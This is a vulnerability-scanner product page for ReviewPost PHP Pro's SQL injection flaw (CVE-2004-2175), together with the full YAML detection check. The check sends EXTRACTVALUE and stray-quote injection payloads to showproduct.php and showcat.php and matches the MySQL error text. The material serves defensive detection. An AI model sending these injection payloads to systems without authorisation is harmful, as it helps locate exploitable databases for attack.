ReviewPost — 1 vulnerability check
noctis ships 1 vulnerability check for ReviewPost, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ReviewPost PHP Pro showproduct.php / showcat.php SQL injection
| CVE | CVE-2004-2175 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/reviewpost/CVE-2004-2175.yaml |
ReviewPost PHP Pro 2.5.1 and earlier places the product parameter of showproduct.php and the cat parameter of showcat.php into its MySQL queries without escaping them, so a remote, unauthenticated attacker can run arbitrary SQL against the site database.
For the web root, /reviewpost, /reviews and /rp, and for each of the two scripts, this check sends an EXTRACTVALUE expression built from two random numbers. The injection is confirmed when the database error returned by the page carries the product of those numbers, which only the database can have computed. On older MySQL servers without EXTRACTVALUE, it falls back to a stray quote followed by a random word: the flaw is reported when the MySQL syntax error quotes that word while a plain numeric value causes no SQL error. Both proofs also require the ReviewPost tables or "Powered by ReviewPost" footer in the reply. The requests only make the query fail; nothing is read or written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{v.d}}/{{v.s}}?{{v.p}}=1%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}})) - HTTP(S) request
GET {{v.d}}/{{v.s}}?{{v.p}}=1%27%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%2… - Parses / computes the next value with a Rhai script
- Checks
xvforXPATH syntax error carrying ~[0-9]+→ finding QoD 97: ReviewPost PHP Pro showproduct.php / showcat.php SQL injection (CVE-2004-2175) - HTTP(S) request
GET {{v.d}}/{{v.s}}?{{v.p}}=1%27{{sc.tok}} - HTTP(S) request
GET {{v.d}}/{{v.s}}?{{v.p}}={{sc.ctl}} - Parses / computes the next value with a Rhai script
- Checks
fallbackforMySQL syntax error quoting the injected marker→ finding QoD 75: ReviewPost PHP Pro showproduct.php / showcat.php SQL injection (CVE-2004-2175)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-2175
- http://www.securityfocus.com/bid/9574
- https://www.exploit-db.com/exploits/23644
- https://www.exploit-db.com/exploits/23645
Feed source — tests/vulnerabilities/reviewpost/CVE-2004-2175.yaml
# ReviewPost PHP Pro — showproduct.php product / showcat.php cat SQL injection
# (CVE-2004-2175).
#
# ReviewPost PHP Pro (All Enthusiast, commercial PHP + MySQL, <= 2.5.1 per
# BID 9574) splices the product parameter of showproduct.php and the cat
# parameter of showcat.php into its MySQL queries unescaped:
# showproduct.php?product=[query] showcat.php?cat=[query]
# (EDB-23644 / 23645). On a failed query the page prints the MySQL error
# together with the query text, e.g.
# SELECT id,catname FROM rp_categories WHERE id=...
# SELECT id,user,userid,cat,...,approved,rating FROM rp_products WHERE id=...
# The product sources were never published; the vectors follow the advisories
# and the column lists quoted by the reference check.
#
# Detection, read-only, for the web root, /reviewpost, /reviews and /rp ×
# the two vectors:
# 1. QoD 97 — value = 1 AND extractvalue(1,concat(0x7e,A*B)) (numeric
# context, the advisories' "[INT][SQL]") then
# 1' AND extractvalue(1,concat(0x7e,A*B)) AND '1'='1 (quoted context).
# A, B: random 6-digit numbers. MySQL >= 5.1 evaluates the constant
# expression while preparing the query and fails with
# "XPATH syntax error: '~<A*B>'": the product never appears in the
# request, so only the database can have computed it. No row is read or
# written.
# 2. QoD 75 fallback (MySQL < 5.1 has no EXTRACTVALUE) — value =
# 1'NOCTIS<rand> (the reference check's stray quote): the MySQL syntax
# error quotes the random word ("near ''NOCTIS…"), while a control value
# made of digits only shows no SQL error. Reported only when no
# directory / vector gave the stage 1 proof.
# Both stages also require a ReviewPost signal in the reply (the rp_categories
# / rp_products tables of the echoed query, or the "Powered by ReviewPost"
# footer — not the bare word, which a reflected /reviewpost/ path would carry), so another
# product's SQL injection on the same file names is not reported as this CVE.
#
# Reference: OpenVAS/Greenbone NVT `pre2008/reviewpost_sql.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.12042, GPL-2.0-only) — sends product=1' and
# cat=1' and matches the echoed column lists. This feed replaces that stray
# quote with a computed (QoD 97) proof, adds a random marker and a control
# request to the fallback, and accepts HTML-escaped quotes in the error text.
# CVSS: NVD carries only a CVSS v2 score (7.5).
uid: d8049dcf-10e7-4ca4-8bdc-f5ca29da3ec5
name: "ReviewPost PHP Pro showproduct.php / showcat.php SQL injection (CVE-2004-2175)"
description: |
ReviewPost PHP Pro 2.5.1 and earlier places the product parameter of
showproduct.php and the cat parameter of showcat.php into its MySQL queries
without escaping them, so a remote, unauthenticated attacker can run
arbitrary SQL against the site database.
For the web root, /reviewpost, /reviews and /rp, and for each of the two
scripts, this check sends an EXTRACTVALUE expression built from two random
numbers. The injection is confirmed when the database error returned by the
page carries the product of those numbers, which only the database can have
computed. On older MySQL servers without EXTRACTVALUE, it falls back to a
stray quote followed by a random word: the flaw is reported when the MySQL
syntax error quotes that word while a plain numeric value causes no SQL
error. Both proofs also require the ReviewPost tables or "Powered by ReviewPost"
footer in the reply. The requests only make the query fail; nothing is read or written.
cves: [CVE-2004-2175]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [reviewpost, php, mysql, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-2175"
- "http://www.securityfocus.com/bid/9574"
- "https://www.exploit-db.com/exploits/23644"
- "https://www.exploit-db.com/exploits/23645"
steps:
# ── Random operands and markers (shared by every pass) ────────────────────
- id: gen
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, prod: "~" + (a * b),
tok: "NOCTIS" + rand_int(10000000, 99999999) + "Q",
ctl: "" + rand_int(10000000, 99999999) }
store_as: sc
- id: init-fallback
action: set_var
var_name: fallback
var_value: ""
# ── Per install dir × vector (loop group) ─────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-xvn
action: set_var
var_name: xvn
var_value: {status: 0, body: ""}
loop:
var: v
over:
- {d: "", s: "showproduct.php", p: "product"}
- {d: "", s: "showcat.php", p: "cat"}
- {d: "/reviewpost", s: "showproduct.php", p: "product"}
- {d: "/reviewpost", s: "showcat.php", p: "cat"}
- {d: "/reviews", s: "showproduct.php", p: "product"}
- {d: "/reviews", s: "showcat.php", p: "cat"}
- {d: "/rp", s: "showproduct.php", p: "product"}
- {d: "/rp", s: "showcat.php", p: "cat"}
- id: init-xvq
action: set_var
var_name: xvq
var_value: {status: 0, body: ""}
- id: init-qm
action: set_var
var_name: qm
var_value: {status: 0, body: ""}
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: ""}
# Stage 1: EXTRACTVALUE error carrying the database-computed product —
# numeric context first …
- id: xv-numeric
action: http_request
method: GET
port: "{{port}}"
path: "{{v.d}}/{{v.s}}?{{v.p}}=1%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: xvn
# … then quoted (skipped when the script is absent from this dir).
- id: xv-quoted
action: http_request
method: GET
port: "{{port}}"
path: "{{v.d}}/{{v.s}}?{{v.p}}=1%27%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%20AND%20%271%27=%271"
condition: "xvn.status != 0 && xvn.status != 404"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: xvq
- id: check-xv
action: script
code: |
let bn = if type_of(xvn.body) == "string" { xvn.body } else { "" };
let bq = if type_of(xvq.body) == "string" { xvq.body } else { "" };
let re = "XPATH syntax error: (?:'|�?39;|'|')?" + sc.prod + "(?:[^0-9]|$)";
// ReviewPost only: its rp_ tables (echoed query) or branding.
let rre = "(?i)powered by:?\\s*(?:<[^>]*>\\s*)*reviewpost|\\brp_(?:categories|products)\\b";
let hn = ereg(re, bn) && ereg(rre, bn);
let hq = !hn && ereg(re, bq) && ereg(rre, bq);
if hn {
v.d + "/" + v.s + " " + v.p + "=1 AND extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + ")): XPATH syntax error carrying " + sc.prod + " (HTTP " + xvn.status + ")"
} else if hq {
v.d + "/" + v.s + " " + v.p + "=1' AND extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + ")) AND '1'='1: XPATH syntax error carrying " + sc.prod + " (HTTP " + xvq.status + ")"
} else { "" }
store_as: xv
- id: report-xv
action: match
source: xv
pattern: "XPATH syntax error carrying ~[0-9]+"
condition: 'xv != ""'
on_match:
finding:
title: "ReviewPost PHP Pro showproduct.php / showcat.php SQL injection (CVE-2004-2175)"
description: "ReviewPost PHP Pro ran an SQL expression injected through the product parameter of showproduct.php or the cat parameter of showcat.php: the database error returned by the page carries the product of two random numbers chosen by the scanner, which never appear in the request. An unauthenticated attacker can run arbitrary SQL against the site database (read or change accounts and reviews)."
remediation: "Upgrade ReviewPost to the latest release. If you maintain the code, cast product and cat to integers before building the query, and do not print database errors to visitors."
confidence_delta: 0.65
qod: 97
evidence: "Error-based SQLi confirmed: {{xv}}"
stop: true
# Stage 2 (MySQL < 5.1): syntax error quoting a random marker + control.
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{v.d}}/{{v.s}}?{{v.p}}=1%27{{sc.tok}}"
condition: 'fallback == "" && xvn.status != 0 && xvn.status != 404'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: qm
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{v.d}}/{{v.s}}?{{v.p}}={{sc.ctl}}"
condition: 'fallback == "" && qm.status != 0'
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctl
# The marker must follow the MySQL parser message ("near '…", quotes may be
# HTML-escaped), the reply must carry a ReviewPost signal, and the control
# must show no SQL error. Keeps the first candidate only.
- id: check-qm
action: script
code: |
if fallback != "" { fallback } else {
let b = if type_of(qm.body) == "string" { qm.body } else { "" };
let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
let q = "(?:'|�?39;|'|')";
let isr = ereg("(?i)powered by:?\\s*(?:<[^>]*>\\s*)*reviewpost|\\brp_(?:categories|products)\\b", b);
let syn = isr && ereg("(?i)error in your SQL syntax[^\\n]{0,200}near " + q + "{1,2}[^\\n]{0,8}" + sc.tok, b);
let cerr = ereg("(?i)error in your SQL syntax|XPATH syntax error|MySQL error", cb);
if ctl.status != 0 && syn && !cerr {
v.d + "/" + v.s + " " + v.p + "=1'" + sc.tok + ": MySQL syntax error quoting the injected marker (HTTP " + qm.status + "), control " + v.p + "=" + sc.ctl + " without SQL error (HTTP " + ctl.status + ")"
} else { "" }
}
store_as: fallback
# ── Fallback report (no stage 1 proof in any dir / vector) ────────────────
- id: once
action: set_var
var_name: done
var_value: true
loop:
var: o
over: ["once"]
- id: report-qm
action: match
source: fallback
pattern: "MySQL syntax error quoting the injected marker"
condition: 'fallback != ""'
on_match:
finding:
title: "ReviewPost PHP Pro showproduct.php / showcat.php SQL injection (CVE-2004-2175)"
description: "A single quote sent in the product parameter of showproduct.php or the cat parameter of showcat.php broke ReviewPost's SQL query: the MySQL syntax error quotes the random text that followed it, while a plain numeric value caused no SQL error. The parameter reaches the query unescaped, so an unauthenticated attacker can run arbitrary SQL against the site database."
remediation: "Upgrade ReviewPost to the latest release. If you maintain the code, cast product and cat to integers before building the query, and do not print database errors to visitors."
confidence_delta: 0.50
qod: 75
evidence: "Error-based SQLi: {{fallback}}"
stop: true